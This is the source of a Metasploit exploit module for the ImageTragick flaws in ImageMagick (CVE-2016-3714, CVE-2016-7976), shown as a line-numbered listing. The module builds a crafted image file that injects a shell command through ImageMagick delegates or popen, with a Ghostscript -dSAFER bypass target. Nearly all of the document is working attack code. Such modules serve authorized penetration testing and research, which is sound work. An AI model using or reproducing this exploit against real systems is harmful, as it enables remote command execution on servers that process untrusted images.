Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::FILEFORMAT
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'             => 'ImageMagick Delegate Arbitrary Command Execution',
14
      'Description'      => %q{
15
        This module exploits a shell command injection in the way "delegates"
16
        (commands for converting files) are processed in ImageMagick versions
17
        <= 7.0.1-0 and <= 6.9.3-9 (legacy).
18

19
        Since ImageMagick uses file magic to detect file format, you can create
20
        a .png (for example) which is actually a crafted SVG (for example) that
21
        triggers the command injection.
22

23
        The PostScript (PS) target leverages a Ghostscript -dSAFER bypass
24
        (discovered by taviso) to achieve RCE in the Ghostscript delegate.
25
        Ghostscript versions 9.18 and later are affected. This target is
26
        provided as is and will not be updated to track additional vulns.
27

28
        If USE_POPEN is set to true, a |-prefixed command will be used for the
29
        exploit. No delegates are involved in this exploitation.
30
      },
31
      'Author'           => [
32
        'stewie',            # Vulnerability discovery
33
        'Nikolay Ermishkin', # Vulnerability discovery
34
        'Tavis Ormandy',     # Vulnerability discovery
35
        'wvu',               # Metasploit module
36
        'hdm'                # Metasploit module
37
      ],
38
      'References'       => [
39
        %w{CVE 2016-3714},
40
        %w{CVE 2016-7976},
41
        %w{URL https://imagetragick.com/},
42
        %w{URL https://seclists.org/oss-sec/2016/q2/205},
43
        %w{URL https://seclists.org/oss-sec/2016/q3/682},
44
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab},
45
        %w{URL https://github.com/ImageMagick/ImageMagick/commit/a347456},
46
        %w{URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669}
47
      ],
48
      'DisclosureDate'   => '2016-05-03',
49
      'License'          => MSF_LICENSE,
50
      'Platform'         => 'unix',
51
      'Arch'             => ARCH_CMD,
52
      'Privileged'       => false,
53
      'Payload'          => {
54
        'BadChars'       => "\x22\x27\x5c" # ", ', and \
55
      },
56
      'Targets'          => [
57
        ['SVG file', template: 'msf.svg'], # convert msf.png msf.svg
58
        ['MVG file', template: 'msf.mvg'], # convert msf.svg msf.mvg
59
        ['PS file',  template: 'msf.ps']   # PoC from taviso
60
      ],
61
      'DefaultTarget'    => 0,
62
      'Notes'            => {
63
        'Stability' => [CRASH_SAFE],
64
        'SideEffects' => [],
65
        'Reliability' => [],
66
        'AKA' => ['ImageTragick'],
67
        'RelatedModules' => [
68
          'exploit/unix/fileformat/ghostscript_type_confusion',
69
          'exploit/multi/fileformat/ghostscript_failed_restore'
70
        ]
71
      }
72
    ))
73

74
    register_options([
75
      OptString.new('FILENAME', [true, 'Output file', 'msf.png']),
76
      OptBool.new('USE_POPEN',  [false, 'Use popen() vector', true])
77
    ])
78
  end
79

80
  def exploit
81
    if target.name == 'SVG file'
82
      p = Rex::Text.html_encode(payload.encoded)
83
    else
84
      p = payload.encoded
85
    end
86

87
    file_create(template.sub('echo vulnerable > /dev/tty', p))
88
  end
89

90
  def template
91
    if datastore['USE_POPEN']
92
      t = 'popen'
93
    else
94
      t = 'delegate'
95
    end
96

97
    begin
98
      File.read(File.join(
99
        Msf::Config.data_directory, 'exploits', 'imagemagick', t,
100
        target[:template]
101
      ))
102
    rescue Errno::ENOENT
103
      fail_with(Failure::NoTarget, "Target has no #{t} support")
104
    end
105
  end
106
end
107

108